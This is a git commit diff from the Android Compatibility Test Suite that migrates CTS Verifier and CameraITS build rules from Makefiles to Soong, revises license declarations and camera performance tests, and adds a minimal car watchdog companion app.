[automerger skipped] Merge "RESTRICT AUTOMERGE Add intent actions from T PermissionController to allowlist" into android11-tests-dev am: b952d40b36 -s ours am: a047c67faa -s ours am: 4c786ddd37 -s ours

am skip reason: subject contains skip directive

Original change: https://android-review.googlesource.com/c/platform/cts/+/2113504

Change-Id: I2184ad770cbc0aedb1b1db6c07d02d1066abc116
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/Android.bp b/Android.bp
index 0d50878..0598d5d 100644
--- a/Android.bp
+++ b/Android.bp
@@ -1,33 +1,6 @@
 package {
-    default_applicable_licenses: ["cts_license"],
-}
-
-// Added automatically by a large-scale-change that took the approach of
-// 'apply every license found to every target'. While this makes sure we respect
-// every license restriction, it may not be entirely correct.
-//
-// e.g. GPL in an MIT project might only apply to the contrib/ directory.
-//
-// Please consider splitting the single license below into multiple licenses,
-// taking care not to lose any license_kind information, and overriding the
-// default license using the 'licenses: [...]' property on targets as needed.
-//
-// For unused files, consider creating a 'fileGroup' with "//visibility:private"
-// to attach the license to, and including a comment whether the files may be
-// used in the current project.
-// See: http://go/android-license-faq
-license {
-    name: "cts_license",
-    visibility: [":__subpackages__"],
-    license_kinds: [
-        "SPDX-license-identifier-Apache-2.0",
-        "SPDX-license-identifier-BSD",
-        "SPDX-license-identifier-CC-BY",
-        "SPDX-license-identifier-MIT",
-        "SPDX-license-identifier-NCSA",
-        "legacy_unencumbered",
-    ],
-    // large-scale-change unable to identify any license_text files
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 java_defaults {
diff --git a/apps/CameraITS/Android.bp b/apps/CameraITS/Android.bp
new file mode 100644
index 0000000..aab166f
--- /dev/null
+++ b/apps/CameraITS/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+// Zip all the files in this directory together for merging into cts-verifier.zip.
+// build/envsetup.sh is used as a known file to get the location of the top of the
+// directory.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+genrule {
+    name: "camera-its",
+    srcs: [
+        "**/*",
+        // Placeholder file outside the glob used to find the top of the directory.
+        "build/envsetup.sh",
+    ],
+    exclude_srcs: [
+        ".gitignore",
+        "Android.bp",
+        "OWNERS",
+    ],
+    tools: ["soong_zip"],
+    out: ["camera-its.zip"],
+    cmd: "echo $(locations **/*) >$(genDir)/list && " +
+        "$(location soong_zip) -o $(out) -P android-cts-verifier/CameraITS -C $$(dirname $(location build/envsetup.sh))/.. -l $(genDir)/list",
+}
diff --git a/apps/CameraITS/Android.mk b/apps/CameraITS/Android.mk
deleted file mode 100644
index b0cabc7..0000000
--- a/apps/CameraITS/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-its-dir-name := CameraITS
-its-dir := $(HOST_OUT)/$(its-dir-name)
-its-build-stamp := $(its-dir)/build_stamp
-
-camera-its: $(its-build-stamp)
-
-.PHONY: camera-its
-
-$(its-build-stamp): PRIVATE_PATH := $(LOCAL_PATH)
-$(its-build-stamp): PRIVATE_OUT := $(its-dir)
-$(its-build-stamp): $(ACP) $(call find-files-in-subdirs,.,*,$(LOCAL_PATH))
-	rm -rf $(PRIVATE_OUT)
-	mkdir -p $(PRIVATE_OUT)
-	$(ACP) -rfp $(PRIVATE_PATH)/* $(PRIVATE_OUT)/
-	rm $(PRIVATE_OUT)/Android.mk
-	touch $@
diff --git a/apps/CameraITS/tests/scene1_1/test_black_white.py b/apps/CameraITS/tests/scene1_1/test_black_white.py
index 2421cc9..6cf9de0 100644
--- a/apps/CameraITS/tests/scene1_1/test_black_white.py
+++ b/apps/CameraITS/tests/scene1_1/test_black_white.py
@@ -29,6 +29,7 @@
 import image_processing_utils
 import its_session_utils
 
+_ANDROID10_API_LEVEL = 29
 CH_FULL_SCALE = 255
 CH_THRESH_BLACK = 6
 CH_THRESH_WHITE = CH_FULL_SCALE - 6
@@ -148,10 +149,12 @@
         assert mean > CH_THRESH_WHITE, e_msg
 
       # Assert channels saturate evenly (was test_channel_saturation)
-      e_msg = 'ch saturation not equal! RGB: %s, ATOL: %.f' % (
-          str(white_means), CH_TOL_WHITE)
-      assert np.isclose(
-          np.amin(white_means), np.amax(white_means), atol=CH_TOL_WHITE), e_msg
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      if first_api_level > _ANDROID10_API_LEVEL:
+        e_msg = 'ch saturation not equal! RGB: %s, ATOL: %.f' % (
+            str(white_means), CH_TOL_WHITE)
+        assert np.isclose(
+            np.amin(white_means), np.amax(white_means), atol=CH_TOL_WHITE), e_msg
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index a66f831..e1ed893 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -22,7 +22,6 @@
 import its_base_test
 import its_session_utils
 
-# This must match MPC12_CAMERA_LAUNCH_THRESHOLD in ItsTestActivity.java
 CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
 
 
@@ -42,7 +41,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.is_primary_camera())
+          cam.is_performance_class_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -56,17 +55,11 @@
         camera_id=self.camera_id)
 
     launch_ms = cam.measure_camera_launch_ms()
-
-    # Assert launch time if device claims performance class
-    if (cam.is_performance_class() and
-        launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD):
-      raise AssertionError(f'camera_launch_time_ms: {launch_ms}, THRESH: '
-                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD}')
-
-    # Log launch time, so that the corresponding MPC level can be written to
-    # report log. Text must match MPC12_CAMERA_LAUNCH_PATTERN in
-    # ItsTestActivity.java.
-    print(f'camera_launch_time_ms:{launch_ms}')
+    if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
+      raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
+                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+    else:
+      logging.debug('camera launch time: %.1f ms', launch_ms)
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index 0eb76eb..ba4867bd 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,14 +22,13 @@
 import its_base_test
 import its_session_utils
 
-# This must match MPC12_JPEG_CAPTURE_THRESHOLD in ItsTestActivity.java
 JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
 
 
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
   """Test jpeg capture latency for S performance class as specified in CDD.
 
-  [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+  [7.5/H-1-6] MUST have camera2 JPEG capture latency < 1000ms for 1080p
   resolution as measured by the CTS camera PerformanceTest under ITS lighting
   conditions (3000K) for both primary cameras.
   """
@@ -42,7 +41,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.is_primary_camera())
+          cam.is_performance_class_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -56,18 +55,12 @@
         camera_id=self.camera_id)
 
     jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
-
-    # Assert jpeg capture time if device claims performance class
-    if (cam.is_performance_class() and
-        jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD):
-      raise AssertionError(f'1080p_jpeg_capture_time_ms: {jpeg_capture_ms}, '
+    if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
+      raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
                            f'THRESH: '
-                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD}')
-
-    # Log jpeg capture time so that the corresponding MPC level can be written
-    # to report log. Text must match MPC12_JPEG_CAPTURE_PATTERN in
-    # ItsTestActivity.java.
-    print(f'1080p_jpeg_capture_time_ms:{jpeg_capture_ms}')
+                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+    else:
+      logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index af55ebc..e88bfbf 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -29,9 +29,9 @@
 import opencv_processing_utils
 
 ALIGN_TOL_MM = 4.0  # mm
-ALIGN_TOL = 0.0075  # multiplied by sensor diagonal to convert to pixels
+ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
 CIRCLE_COLOR = 0  # [0: black, 255: white]
-CIRCLE_MIN_AREA = 0.01  # multiplied by image size
+CIRCLE_MIN_AREA = 0.0075  # multiplied by image size
 CIRCLE_RTOL = 0.1  # 10%
 CM_TO_M = 1E-2
 FMT_CODE_RAW = 0x20
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index ab880b3..5109d0a 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -16,7 +16,6 @@
 import logging
 import os
 import os.path
-import re
 import subprocess
 import sys
 import tempfile
@@ -42,7 +41,6 @@
 RESULT_FAIL = 'FAIL'
 RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
 RESULT_KEY = 'result'
-METRICS_KEY = 'mpc_metrics'
 SUMMARY_KEY = 'summary'
 RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
 ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
@@ -314,8 +312,9 @@
     Updated yml file contents.
   """
   os.chmod(YAML_FILE_DIR, 0o755)
-  _, new_yaml_file = tempfile.mkstemp(
+  file_descriptor, new_yaml_file = tempfile.mkstemp(
       suffix='.yml', prefix='config_', dir=YAML_FILE_DIR)
+  os.close(file_descriptor)
   with open(new_yaml_file, 'w') as f:
     yaml.dump(yml_file_contents, stream=f, default_flow_style=False)
   new_yaml_file_name = os.path.basename(new_yaml_file)
@@ -350,7 +349,10 @@
   logging.basicConfig(level=logging.INFO)
   # Make output directories to hold the generated files.
   topdir = tempfile.mkdtemp(prefix='CameraITS_')
-  subprocess.call(['chmod', 'g+rx', topdir])
+  try:
+    subprocess.call(['chmod', 'g+rx', topdir])
+  except OSError as e:
+    logging.info(repr(e))
   logging.info('Saving output files to: %s', topdir)
 
   scenes = []
@@ -454,7 +456,6 @@
     for s in per_camera_scenes:
       test_params_content['scene'] = s
       results[s]['TEST_STATUS'] = []
-      results[s][METRICS_KEY] = []
 
       # unit is millisecond for execution time record in CtsVerifier
       scene_start_time = int(round(time.time() * 1000))
@@ -530,28 +531,14 @@
             test_failed = False
             test_skipped = False
             test_not_yet_mandated = False
-            test_mpc_req = ""
-            content = file.read()
-
-            # Find media performance class logging
-            lines = content.splitlines()
-            for one_line in lines:
-              # regular expression pattern must match
-              # MPC12_CAMERA_LAUNCH_PATTERN or MPC12_JPEG_CAPTURE_PATTERN in
-              # ItsTestActivity.java.
-              mpc_string_match = re.search(
-                  '^(1080p_jpeg_capture_time_ms:|camera_launch_time_ms:)', one_line)
-              if mpc_string_match:
-                test_mpc_req = one_line
-                break
-
-            if 'Test skipped' in content:
+            line = file.read()
+            if 'Test skipped' in line:
               return_string = 'SKIP '
               num_skip += 1
               test_skipped = True
               break
 
-            if 'Not yet mandated test' in content:
+            if 'Not yet mandated test' in line:
               return_string = 'FAIL*'
               num_not_mandated_fail += 1
               test_not_yet_mandated = True
@@ -564,7 +551,7 @@
 
             if test_code == 1 and not test_not_yet_mandated:
               return_string = 'FAIL '
-              if 'Problem with socket' in content and num_try != NUM_TRIES-1:
+              if 'Problem with socket' in line and num_try != NUM_TRIES-1:
                 logging.info('Retry %s/%s', s, test)
               else:
                 num_fail += 1
@@ -574,8 +561,6 @@
         logging.info('%s %s/%s', return_string, s, test)
         test_name = test.split('/')[-1].split('.')[0]
         results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()})
-        if test_mpc_req:
-          results[s][METRICS_KEY].append(test_mpc_req)
         msg_short = '%s %s' % (return_string, test)
         scene_test_summary += msg_short + '\n'
 
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index cac2291..10f5779 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1096,8 +1096,8 @@
                                       ' support')
     return data['strValue'] == 'true'
 
-  def is_primary_camera(self):
-    """Query whether the camera device is a primary rear/front camera.
+  def is_performance_class_primary_camera(self):
+    """Query whether the camera device is an R or S performance class primary camera.
 
     A primary rear/front facing camera is a camera device with the lowest
     camera Id for that facing.
@@ -1106,28 +1106,14 @@
       Boolean
     """
     cmd = {}
-    cmd['cmdName'] = 'isPrimaryCamera'
+    cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
     data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'primaryCamera':
-      raise error_util.CameraItsError('Failed to query primary camera')
-    return data['strValue'] == 'true'
-
-  def is_performance_class(self):
-    """Query whether the mobile device is an R or S performance class device.
-
-    Returns:
-      Boolean
-    """
-    cmd = {}
-    cmd['cmdName'] = 'isPerformanceClass'
-    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
-
-    data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'performanceClass':
-      raise error_util.CameraItsError('Failed to query performance class')
+    if data['tag'] != 'performanceClassPrimaryCamera':
+      raise error_util.CameraItsError('Failed to query performance class '
+                                      'primary camera')
     return data['strValue'] == 'true'
 
   def measure_camera_launch_ms(self):
diff --git a/apps/CarWatchdogCompanionApp/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
new file mode 100644
index 0000000..a87902a
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsCarWatchdogCompanionApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.car.watchdog_companionapp">
+
+    <application android:label="CtsCarWatchdogCompanionApp">
+        <activity android:name=".CarWatchdogCompanionActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="distractionOptimized" android:value="true"/>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:textSize="20sp"
+    android:gravity="center"
+    android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="car_watchdog_companion_activity_text">
+        Welcome to the CTS Verifier Car Watchdog Companion App!
+    </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.car_watchdog_companion_activity);
+    }
+}
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 813e7b3..9dd3a3b 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -1,12 +1,48 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
 package {
     // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-BSD
-    //   SPDX-license-identifier-CC-BY
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: [
+        "cts_apps_CtsVerifier_opencv_license",
+        "Android-Apache-2.0",
+        "cts_apps_CtsVerifier_fatcow_license",
+    ]
+}
+
+license {
+    name: "cts_apps_CtsVerifier_opencv_license",
+    package_name: "opencv",
+    license_kinds: [
+        "SPDX-license-identifier-BSD",
+    ],
+    license_text: [
+        "libs/opencv-android_LICENSE",
+        "res/raw/opencv_library_license",
+    ],
+}
+
+// See: src/com/android/cts/verifier/features/FeatureSummaryActivity.java
+license {
+    name: "cts_apps_CtsVerifier_fatcow_license",
+    package_name: "fatcow icons",
+    license_kinds: [
+        "SPDX-license-identifier-CC-BY-3.0",
+    ],
+    license_text: ["LICENSE_CC_BY"],
 }
 
 filegroup {
@@ -80,3 +116,109 @@
     name: "ctsverifier-opencv",
     jars: ["libs/opencv3-android.jar"],
 }
+
+// Build CTS verifier framework as a library.
+android_library {
+    name: "cts-verifier-framework",
+
+    sdk_version: "current",
+    min_sdk_version: "29",
+    resource_dirs: ["res"],
+    srcs: [
+        "src/com/android/cts/verifier/*.java",
+        "src/**/I*.aidl",
+    ],
+
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "compatibility-common-util-devicesidelib",
+        "compatibility-device-util-axt",
+    ],
+
+}
+
+filegroup {
+    name: "pre_installed_apps",
+    srcs: [
+        ":CtsEmptyDeviceAdmin",
+        ":CtsEmptyDeviceOwner",
+        ":CtsPermissionApp",
+        ":CtsForceStopHelper",
+        ":NotificationBot",
+        ":CrossProfileTestApp",
+        ":CtsTtsEngineSelectorTestHelper",
+        ":CtsTtsEngineSelectorTestHelper2",
+    ],
+}
+
+// Apps to be installed as Instant App using adb install --instant
+filegroup {
+    name: "pre_installed_instant_app",
+    srcs: [
+        ":CtsVerifierInstantApp",
+    ],
+}
+
+filegroup {
+    name: "other_required_apps",
+    srcs: [
+        ":CtsVerifierUSBCompanion",
+        ":CtsVpnFirewallAppApi23",
+        ":CtsVpnFirewallAppApi24",
+        ":CtsVpnFirewallAppNotAlwaysOn",
+    ],
+}
+
+filegroup {
+    name: "apps_to_include",
+    srcs: [
+        ":pre_installed_apps",
+        ":pre_installed_instant_app",
+        ":other_required_apps",
+    ],
+}
+
+//
+// Creates a "cts-verifier" directory that will contain:
+//
+// 1. Out directory with a "android-cts-verifier" containing the CTS Verifier
+//    and other binaries it needs.
+//
+// 2. Zipped version of the android-cts-verifier directory to be included with
+//    the build distribution.
+//
+genrule {
+    name: "android-cts-verifier",
+    srcs: [
+        ":android-cts-verifier-notice",
+        ":apps_to_include",
+        ":CtsVerifier",
+        ":camera-its",
+    ],
+    tools: [
+        "soong_zip",
+        "merge_zips",
+    ],
+    out: ["android-cts-verifier.zip"],
+    cmd: "echo $(locations :apps_to_include) $(location :CtsVerifier) $(location :android-cts-verifier-notice) > $(genDir)/list &&" +
+        " $(location soong_zip) -o $(genDir)/cts-verifier.zip -j -P android-cts-verifier -l $(genDir)/list &&" +
+        " $(location merge_zips) $(out) $(genDir)/cts-verifier.zip $(location :camera-its)",
+    dists: [
+        {
+            targets: ["cts"],
+        },
+    ],
+}
+
+gen_notice {
+    name: "android-cts-verifier-notice",
+    for: ["android-cts-verifier"],
+    stem: "NOTICE",
+    suffix: ".txt",
+}
+
+filegroup {
+    name: "android-cts-verifier-for-make",
+    srcs: [":android-cts-verifier"],
+    export_to_make_var: "SOONG_ANDROID_CTS_VERIFIER_ZIP",
+}
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
deleted file mode 100644
index 754d968..0000000
--- a/apps/CtsVerifier/Android.mk
+++ /dev/null
@@ -1,128 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-# Build CTS verifier framework as a libary.
-
-include $(CLEAR_VARS)
-
-define java-files-in
-$(sort $(patsubst ./%,%, \
-  $(shell cd $(LOCAL_PATH) ; \
-          find -L $(1) -maxdepth 1 -name *.java -and -not -name ".*") \
- ))
-endef
-
-LOCAL_MODULE := cts-verifier-framework
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-CC-BY
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 19
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-LOCAL_SRC_FILES := \
-    $(call java-files-in, src/com/android/cts/verifier) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 \
-                               compatibility-common-util-devicesidelib \
-                               compatibility-device-util-axt
-
-# Disable dexpreopt and <uses-library> check for test.
-LOCAL_ENFORCE_USES_LIBRARIES := false
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-pre-installed-apps := \
-    CtsEmptyDeviceAdmin \
-    CtsEmptyDeviceOwner \
-    CtsPermissionApp \
-    CtsForceStopHelper \
-    NotificationBot \
-    CrossProfileTestApp \
-    CtsTtsEngineSelectorTestHelper \
-    CtsTtsEngineSelectorTestHelper2
-
-# Apps to be installed as Instant App using adb install --instant
-pre-installed-instant-app := CtsVerifierInstantApp
-
-other-required-apps := \
-    CtsVerifierUSBCompanion \
-    CtsVpnFirewallAppApi23 \
-    CtsVpnFirewallAppApi24 \
-    CtsVpnFirewallAppNotAlwaysOn
-
-apps-to-include := \
-    $(pre-installed-apps) \
-    $(pre-installed-instant-app) \
-    $(other-required-apps)
-
-define apk-location-for
-    $(call intermediates-dir-for,APPS,$(1))/package.apk
-endef
-
-# Builds and launches CTS Verifier on a device.
-.PHONY: cts-verifier
-cts-verifier: CtsVerifier adb $(pre-installed-apps) $(pre-installed-instant-app)
-	adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
-		$(foreach app,$(pre-installed-apps), \
-		    && adb install -r -t $(call apk-location-for,$(app))) \
-		&& adb install -r --instant $(call apk-location-for,$(pre-installed-instant-app)) \
-		&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
-
-#
-# Creates a "cts-verifier" directory that will contain:
-#
-# 1. Out directory with a "android-cts-verifier" containing the CTS Verifier
-#    and other binaries it needs.
-#
-# 2. Zipped version of the android-cts-verifier directory to be included with
-#    the build distribution.
-#
-cts-dir := $(HOST_OUT)/cts-verifier
-verifier-dir-name := android-cts-verifier
-verifier-dir := $(cts-dir)/$(verifier-dir-name)
-verifier-zip-name := $(verifier-dir-name).zip
-verifier-zip := $(cts-dir)/$(verifier-zip-name)
-
-# turned off sensor power tests in initial L release
-#$(PRODUCT_OUT)/data/app/CtsVerifier.apk $(verifier-zip): $(verifier-dir)/power/execute_power_tests.py
-#$(PRODUCT_OUT)/data/app/CtsVerifier.apk $(verifier-zip): $(verifier-dir)/power/power_monitors/monsoon.py
-
-# Copy the necessary host-side scripts to include in the zip file:
-#$(verifier-dir)/power/power_monitors/monsoon.py: cts/apps/CtsVerifier/assets/scripts/power_monitors/monsoon.py | $(ACP)
-#	$(hide) mkdir -p $(verifier-dir)/power/power_monitors
